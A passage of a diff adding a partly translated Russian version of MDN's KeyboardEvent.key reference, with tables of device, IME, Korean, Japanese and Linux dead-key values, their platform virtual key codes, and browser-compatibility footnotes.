+<p>[2] В Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша <kbd>Esc</kbd> возвращает значение <code>"Esc"</code> вместо <code>"Escape"</code>.</p>
+
+<p>[3] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша контекстного меню возвращает значение <code>"Apps"</code> вместо <code>"ContextMenu"</code>.</p>
+
+<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"KanaMode"</code>.</p>
+
+<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"Katakana"</code>.</p>
+
+<p>[6] Firefox не поддерживал клавиши <code>"ZoomIn"</code> и <code>"ZoomOut"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_устройства">Клавиши устройства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"BrightnessDown"</code></td>
+   <td>Клавиша уменьшения яркости. Обычно используется для уменьшения яркости дисплея.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessDown</code> (0x1008FF03)<br>
+    <code>Qt::Key_MonBrightnessDown</code> (0x010000B3)</td>
+   <td><code>KEYCODE_BRIGHTNESS_DOWN</code> (220)</td>
+  </tr>
+  <tr>
+   <td><code>"BrightnessUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша увеличения яркости.</span> <span title="">Обычно увеличивает яркость дисплея.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessUp</code> (0x1008FF02)<br>
+    <code>Qt::Key_MonBrightnessUp</code> (0x010000B2)</td>
+   <td><code>KEYCODE_BRIGHTNESS_UP</code> (221)</td>
+  </tr>
+  <tr>
+   <td><code>"Eject"</code></td>
+   <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съемный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br>
+    <code>Qt::Key_Eject</code> (0x010000B9)</td>
+   <td><code>KEYCODE_MEDIA_EJECT</code> (129)</td>
+  </tr>
+  <tr>
+   <td><code>"LogOff"</code> [2]</td>
+   <td>Клавиша выход из системы <kbd>LogOff</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LogOff</code> (0x1008FF61)<br>
+    <code>Qt::Key_LogOff</code> (0x010000D9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Power"</code></td>
+   <td>Кнопка или клавиша питания <kbd>Power</kbd> для включения и выключения питания.
+    <div class="note"><strong>Заметка:</strong> Не все системы передают этот ключ агенту пользователя.</div>
+   </td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_POWER</code> (26)</td>
+  </tr>
+  <tr>
+   <td><code>"PowerOff"</code></td>
+   <td>Кнопка выключения компьютера <kbd>PowerOff</kbd> или <kbd>PowerDown</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PowerDown</code> (0x1008FF21)<br>
+    <code>GDK_KEY_PowerOff</code> (0x1008FF2A)<br>
+    <code>Qt::Key_PowerDown</code> (0x0100010B)<br>
+    <code>Qt::Key_PowerOff</code> (0x010000B7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PrintScreen"</code></td>
+   <td>Клавиша <kbd>PrintScreen</kbd> или <kbd>PrtScr</kbd>. Иногда <kbd>SnapShot</kbd>. Делает снимок экрана.</td>
+   <td><code>VK_SNAPSHOT</code> (0x2C)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_PrintScreen</code> (0xFD1D)<br>
+    <code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>GDK_KEY_Sys_Req</code> (0xFF15)<br>
+    <code>Qt::Key_Print</code> (0x01000009)<br>
+    <code>Qt::Key_SysReq</code> (0x0100000A)</td>
+   <td><code>KEYCODE_SYSRQ</code> (120)</td>
+  </tr>
+  <tr>
+   <td><code>"Hibernate"</code> [2]</td>
+   <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращен в предыдущее состояние путем восстановления сохраненной информации о состоянии.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br>
+    <code>Qt::Key_Hibernate</code> (0x01000108)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Standby"</code> [1]</td>
+   <td>Клавиша сна <kbd>Standby</kbd>. (Также известна как <kbd>Suspend</kbd> или <kbd>Sleep</kbd>.) Выключает дисплей и переводит компьютер в режим низкого энергопотребления, не выключая его полностью.</td>
+   <td><code>VK_SLEEP</code> (0x5F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Standby</code> (0x1008FF10)<br>
+    <code>GDK_KEY_Suspend</code> (0x1008FFA7)<br>
+    <code>GDK_KEY_Sleep</code> (0x1008FF2F)<br>
+    <code>Qt::Key_Standby</code> (0x01000093)<br>
+    <code>Qt::Key_Suspend</code> (0x0100010C)<br>
+    <code>Qt::Key_Sleep</code> (0x01020004)</td>
+   <td><code>KEYCODE_SLEEP</code> (223)</td>
+  </tr>
+  <tr>
+   <td><code>"WakeUp"</code> [2]</td>
+   <td>Клавиша пробуждения <kbd>WakeUp</kbd>. Используется для вывода компьютера из режима гибернации или ожидания.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WakeUp</code> (0x1008FF2B)<br>
+    <code>Qt::Key_WakeUp</code> (0x010000B8)</td>
+   <td><code>KEYCODE_WAKEUP</code> (224)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Клавиша <kbd>Standby</kbd> не поддерживается Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, поэтому возвращала <code>"Unidentified"</code>.</p>
+
+<p>[2] До Firefox 37, эта клавиша генерировала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="IME_и_клавиши_композиции">IME и клавиши композиции</h2>
+
+<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введен с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p>
+
+<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определенные языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p>
+
+<h4 id="Обычные_IME_клавиши">Обычные IME клавиши</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"AllCandidates"</code></td>
+   <td>The <kbd>All Candidates</kbd> key, which starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MultipleCandidate</code> (0xFF3D<br>
+    <code>Qt::Key_MultipleCandidate</code> (0x0100113D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Alphanumeric"</code></td>
+   <td>The <kbd>Alphanumeric</kbd> key.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_Eisu_Shift</code> (0xFF2F)<br>
+    <code>GDK_KEY_Eisu_toggle</code> (0xFF30)<br>
+    <code>Qt::Key_Eisu_Shift</code> (0x0100112f)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CodeInput"</code></td>
+   <td>The <kbd>Code Input</kbd> key, which enables code input mode, which lets the user enter characters by typing their code points (their Unicode character numbers, typically).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Codeinput</code> (0xFF37)<br>
+    <code>Qt::Key_Codeinput</code> (0x01001137)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Compose"</code></td>
+   <td>The <kbd>Compose</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Multi_key</code> (0xFF20) [1]<br>
+    <code>Qt::Key_Multi_key</code> (0x01001120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Convert"</code> [4]</td>
+   <td>The <kbd>Convert</kbd> key, which instructs the IME to convert the current input method sequence into the resulting character.</td>
+   <td><code>VK_CONVERT</code> (0x1C)</td>
+   <td></td>
+   <td><code>GDK_KEY_Henkan</code> (0xFF23)<br>
+    <code>Qt::Key_Henkan</code> (0x01001123)</td>
+   <td><code>KEYCODE_HENKAN</code> (214)</td>
+  </tr>
+  <tr>
+   <td><code>"Dead"</code></td>
+   <td>
+    <p>A dead "combining" key; that is, a key which is used in tandem with other keys to generate accented and other modified characters. If pressed by itself, it doesn't generate a character.</p>
+
+    <p>If you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</p>
+   </td>
+   <td></td>
+   <td></td>
+   <td>See {{anch("Dead keycodes for Linux")}} below</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FinalMode"</code></td>
+   <td>The <kbd>Final</kbd> (Final Mode) key is used on some Asian keyboards to enter final mode when using IMEs.</td>
+   <td><code>VK_FINAL</code> (0x18)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupFirst"</code></td>
+   <td>Switches to the first character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>. Each key may have multiple groups of characters, each in its own column. Pressing this key instructs the device to interpret keypresses as coming from the first column on subsequent keystrokes.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_First_Group</code> (0xFE0C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupLast"</code></td>
+   <td>Switches to the last character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Last_Group</code> (0xFE0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupNext"</code> [4]</td>
+   <td>Switches to the next character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Next_Group</code> (0xFE08)</td>
+   <td><code>KEYCODE_LANGUAGE_SWITCH</code> (204)</td>
+  </tr>
+  <tr>
+   <td><code>"GroupPrevious"</code></td>
+   <td>Switches to the previous character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Prev_Group</code> (0xFE0A)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ModeChange"</code> [5]</td>
+   <td>The Mode Change key. Toggles or cycles among input modes of IMEs.</td>
+   <td><code>VK_MODECHANGE</code> (0x1F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_script_switch</code> (0xFF7E)<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td><code>KEYCODE_SWITCH_CHARSET</code> (95)</td>
+  </tr>
+  <tr>
+   <td><code>"NextCandidate"</code></td>
+   <td>The Next Candidate function key. Selects the next possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"NonConvert"</code> [2]</td>
+   <td>The <kbd>NonConvert</kbd> ("Don't convert") key. This accepts the current input method sequence without running conversion when using an IME.</td>
+   <td><code>VK_NONCONVERT</code> (0x1D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Muhenkan</code> (0xFF22)<br>
+    <code>Qt::Key_Muhenkan</code> (0x01001122)<br>
+     </td>
+   <td><code>KEYCODE_MUHENKAN</code> (213)</td>
+  </tr>
+  <tr>
+   <td><code>"PreviousCandidate"</code></td>
+   <td>The Previous Candidate key. Selects the previous possible match for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PreviousCandidate</code> (0xFF3E)<br>
+    <code>Qt::Key_PreviousCandidate</code> (0x0100113E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Process"</code> [3]</td>
+   <td>The <kbd>Process</kbd> key. Instructs the IME to process the conversion.</td>
+   <td><code>VK_PROCESSKEY</code> (0xE5)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"SingleCandidate"</code> [4]</td>
+   <td>The Single Candidate key. Enables single candidate mode (as opposed to multi-candidate mode); in this mode, only one candidate is displayed at a time.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_SingleCandidate</code> (0xFF3C)<br>
+    <code>Qt::Key_SingleCandidate</code> (0x0100113C)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] В <em>X Window System</em>, клавиша <kbd>Compose</kbd> называется <kbd>Multi</kbd>.</p>
+
+<p>[2] Клавиша <kbd>NonConvert</kbd> возвращает значение <code>"Nonconvert"</code> вместо корректного<code> "NonConvert"</code> в Internet Explorer (проверено в версиях 9 и 11) и Firefox версии 36 и более ранних.</p>
+
+<p>[3] Клавиша <kbd>Process</kbd> в настоящее время возвращает <code>"Unidentified"</code> в Firefox и Internet Explorer. Google Chrome возвращает значение клавиши так, как если бы IME не использовался.</p>
+
+<p>[4] До Firefox 37, эта клавиша возвращала <code>"Unidentified"</code>.</p>
+
+<p>[5] Firefox генерирует значение <code>"AltGraph"</code> вместо <code>"ModeChange"</code>.</p>
+
+<h3 id="Только_корейские_клавиатуры">Только корейские клавиатуры</h3>
+
+<p>Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определенные различными платформами для корейских клавиатур, но они являются наиболее распространенными и идентифицируются спецификацией событий пользовательского интерфейса.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"HangulMode"</code></td>
+   <td>The <kbd>Hangul</kbd> (Korean character set) mode key, which toggles between Hangul and English entry modes.</td>
+   <td><code>VK_HANGUL</code> (0x15) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul</code> (0xFF31)<br>
+    <code>Qt::Key_Hangul</code> (0x01001131)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HanjaMode"</code></td>
+   <td>Selects the Hanja mode, for converting Hangul characters to the more specific Hanja characters.</td>
+   <td><code>VK_HANJA</code> (0x19) [1]</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Hanja</code> (0xFF34)<br>
+    <code>Qt::Key_Hangul_Hanja</code> (0x01001134)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"JunjaMode"</code></td>
+   <td>Selects the Junja mode, in which Korean is represented using single-byte Latin characters.</td>
+   <td><code>VK_JUNJA</code> (0x17)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hangul_Jeonja</code> (0xFF38)<br>
+    <code>Qt::Key_Hangul_Jeonja</code> (0x01001138)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] <code>VK_HANGUL</code> и <code>VK_KANA</code> <span class="tlid-translation translation" lang="ru"><span title="">используют один и тот же числовой код клавиши</span></span> в Windows, также как <code>VK_HANJA</code> и <code>VK_KANJI</code>.</p>
+
+<h3 id="Только_японские_клавиатуры">Только японские клавиатуры</h3>
+
+<p>Эти клавиши достуны только на японских клавиатурах.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Eisu"</code> [1]</td>
+   <td>The <kbd>Eisu</kbd> key. This key's purpose is defined by the IME, but may be used to close the IME.</td>
+   <td></td>
+   <td><code>kVK_JIS_Eisu</code> (0x66)</td>
+   <td><code>GDK_KEY_Eisu_toggle</code> (0xFF2F)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td><code>KEYCODE_EISU</code> (212)</td>
+  </tr>
+  <tr>
+   <td><code>"Hankaku"</code> [3]</td>
+   <td>The <kbd>Hankaku</kbd> (half-width characters) key.</td>
+   <td><code>VK_OEM_AUTO</code> (0xF3)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hankaku</code> (0xFF29)<br>
+    <code>Qt::Key_Hankaku</code> (0x01001129)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hiragana"</code></td>
+   <td>The <kbd>Hiragana</kbd> key; selects Kana characters mode.</td>
+   <td><code>VK_OEM_COPY</code> (0xF2)</td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana</code> (0xFF25)<br>
+    <code>Qt::Key_Hiragana</code> (0x01001125)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"HiraganaKatakana"</code> [6]</td>
+   <td>Toggles between the Hiragana and Katakana writing systems.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hiragana_Katakana</code> (0xFF27)<br>
+    <code>Qt::Key_Hiragana_Katakana</code> (0x01001127)</td>
+   <td><code>KEYCODE_KATAKANA_HIRAGANA</code> (215)</td>
+  </tr>
+  <tr>
+   <td><code>"KanaMode"</code></td>
+   <td>The <kbd>Kana Mode</kbd> (Kana Lock) key.</td>
+   <td><code>VK_KANA</code> (0x15) [2]<br>
+    <code>VK_ATTN</code> (0xF6)</td>
+   <td></td>
+   <td><code>GDK_KEY_Kana_Lock</code> (0xFF2D)<br>
+    <code>GDK_KEY_Kana_Shift</code> (0xFF2E)<br>
+    <code>Qt::Key_Kana_Lock</code> (0x0100112D)<br>
+    <code>Qt::Key_Kana_Shift</code> (0x0100112E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"KanjiMode"</code></td>
+   <td>The <kbd>Kanji Mode</kbd> key. Enables entering Japanese text using the ideographic characters of Chinese origin.</td>
+   <td><code>VK_KANJI</code>(0x19) [2]</td>
+   <td><code>kVK_JIS_Kana</code> (0x68)</td>
+   <td><code>GDK_KEY_Kanji</code> (0xFF21)<br>
+    <code>Qt::Key_Kanji</code> (0x01001121)</td>
+   <td><code>KEYCODE_KANA</code> (218)</td>
+  </tr>
+  <tr>
+   <td><code>"Katakana"</code></td>
+   <td>The <kbd>Katakana</kbd> key.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td><code>GDK_KEY_Katakana</code> (0xFF26)<br>
+    <code>Qt::Key_Katakana</code> (0x01001126)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Romaji"</code> [5]</td>
+   <td>The <kbd>Romaji</kbd> key; selects the Roman character set.</td>
+   <td><code>VK_OEM_BACKTAB</code> (0xF5)</td>
+   <td></td>
+   <td><code>GDK_KEY_Romaji</code> (0xFF24)<br>
+    <code>Qt::Key_Romaji</code> (0x01001124)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Zenkaku"</code> [4]</td>
+   <td>The <kbd>Zenkaku</kbd> (full width) characters key.</td>
+   <td><code>VK_OEM_ENLW</code> (0xF4)</td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku</code> (0xFF28)<br>
+    <code>Qt::Key_Zenkaku</code> (0x01001128)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ZenkakuHanaku"</code> [6]</td>
+   <td>The <kbd>Zenkaku/Hankaku</kbd> (full width/half width) toggle key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Zenkaku_Hankaku</code> (0xFF2A)<br>
+    <code>Qt::Zenkaku_Hankaku</code> (0x0100112A)</td>
+   <td>
+    <p><code>KEYCODE_ZENKAKU_HANKAKU</code> (211)</p>
+   </td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, клавиша <kbd>Eisu</kbd> ошибочно сопоставлялась <code>"RomanCharacters"</code>.</p>
+
+<p>[2] <code>VK_HANGUL</code> и <code>VK_KANA</code> <span class="tlid-translation translation" lang="ru"><span title="">используют один и тот же числовой код клавиши</span></span> в Windows, также как <code>VK_HANJA</code> и <code>VK_KANJI</code>.</p>
+
+<p>[3] До Firefox 37, клавиша <kbd>Hankaku</kbd> (half-width) генерировала значание <code>"HalfWidth"</code> в Firefox. Такжк, этак клавиша генерировала значаение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11).</p>
+
+<p>[4] Internet Explorer (проверено в версиях 9 и 11) возвращал <code>"Unidentified"</code> для клавиши <kbd>Zenkaku</kbd>; Firefox 36 и более ранние определяли эту клавишу как <code>"FullWidth"</code> <span class="tlid-translation translation" lang="ru"><span title="">на японских раскладках клавиатуры</span></span> и <code>"Unidentified"</code> на всех остальных <span class="tlid-translation translation" lang="ru"><span title="">раскладках клавиатуры</span></span>. Firefox 37 и выше, а также все версии Google Chrome, корректно возвращают <code>"Zenkaku"</code>.</p>
+
+<p>[5] <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). Firefox 36 и более ранние определяли клавишу <kbd>Romaji</kbd> как <code>"RomanCharacters"</code> на японских клавиатурах и <code>"Unidentified"</code> для остальных клавиатур; исправлено на значение  <code>"Romaji"</code> в Firefox 37 и выше.</p>
+
+<p>[6] Эта клавиша возвращала <code>"Unidentified"</code> до Firefox 37.</p>
+
+<h3 id="Dead_keycodes_for_Linux">Dead keycodes for Linux</h3>
+
+<p>Linux generates accented characters using special <strong>dead keys</strong>. <em>Dead keys</em> are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the  {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</p>
+
+<p>You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK.</p>
+
+<p>The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Значение<code> CompositionEvent.data</code></strong></th>
+   <th scope="col">Символ</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>GDK_KEY_dead_grave</code> (0xFE50)<br>
+    <code>Qt::Key_Dead_Grave</code> (0x01001250)</td>
+   <td>`</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_acute</code> (0xFE51)<br>
+    <code>Qt::Key_Dead_Acute</code> (0x01001251)</td>
+   <td>´</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_circumflex</code> (0xFE52)<br>
+    <code>Qt::Key_Dead_Circumflex</code> (0x01001252)</td>
+   <td>ˆ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_tilde</code> (0xFE53)<br>
+    <code>Qt::Key_Dead_Tilde</code> (0x01001253)</td>
+   <td>˜</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_perispomeni</code> (0xFE53)</td>
+   <td> ͂</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_macron</code> (0xFE54)<br>
+    <code>Qt::Key_Dead_Macron</code> (0x01001254)</td>
+   <td>¯</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_breve</code> (0xFE55)<br>
+    <code>Qt::Key_Dead_Breve</code> (0x01001255)</td>
+   <td>˘</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovedot</code> (0xFE56)<br>
+    <code>Qt::Key_Dead_Abovedot</code> (0x01001256)</td>
+   <td>˙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_diaeresis</code> (0xFE57)<br>
+    <code>Qt::Key_Dead_Diaeresis</code> (0x01001257)</td>
+   <td>¨</td>
+   <td>Also called an umlaut.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovering</code> (0xFE58)<br>
+    <code>Qt::Key_Dead_Abovering</code> (0x01001258)</td>
+   <td>˚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doubleacute</code> (0xFE59)<br>
+    <code>Qt::Key_Dead_Doubleacute</code> (0x01001259)</td>
+   <td>˝</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_caron</code> (0xFE5A)<br>
+    <code>Qt::Key_Dead_Caron</code> (0x0100125A)</td>
+   <td>ˇ</td>
+   <td>Also called a háček; used in Czech among other languages.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_cedilla</code> (0xFE5B)<br>
+    <code>Qt::Key_Dead_Cedilla</code> (0x0100125B)</td>
+   <td>¸</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_ogonek</code> (0xFE5C)<br>
+    <code>Qt::Key_Dead_Ogonek</code> (0x0100125C)</td>
+   <td>˛</td>
+   <td>Also called a nosinė; used in Polish and Old Irish.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_iota</code> (0xFE5D)<br>
+    <code>Qt::Key_Dead_Iota</code> (0x0100125D)</td>
+   <td> ͅ</td>
+   <td>Iota subscript.</td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_voiced_sound</code> (0xFE5E)<br>
+    <code>Qt::Key_Dead_Voiced_Sound</code> (0x0100125E)</td>
+   <td>゙</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_semivoiced_sound</code> (0xFE5F)<br>
+    <code>Qt::Key_Dead_Semivoiced_Sound</code> (0x0100125F)</td>
+   <td>゚</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowdot</code> (0xFE60)<br>
+    <code>Qt::Key_Dead_Belowdot</code> (0x01001260)</td>
+   <td>̣̣</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_hook</code> (0xFE61)<br>
+    <code>Qt::Key_Dead_Hook</code> (0x01001261)</td>
+   <td>  ̡</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_horn</code> (0xFE62)<br>
+    <code>Qt::Key_Dead_Horn</code> (0x01001262)</td>
+   <td> ̛</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_stroke</code> (0xFE63)</td>
+   <td> ̶̶</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovecomma</code> (0xFE64)</td>
+   <td> ̓̓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_psili</code> (0xFE64)</td>
+   <td> ᾿</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_abovereversedcomma</code> (0xFE65)</td>
+   <td>ʽ</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_dasia</code> (0xFE65)</td>
+   <td>῾</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_doublegrave</code> (0xFE66)</td>
+   <td> ̏</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowring</code> (0xFE67)</td>
+   <td>˳</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>GDK_KEY_dead_belowmacron</code> (0xFE68)</td>
+   <td> ̱</td>
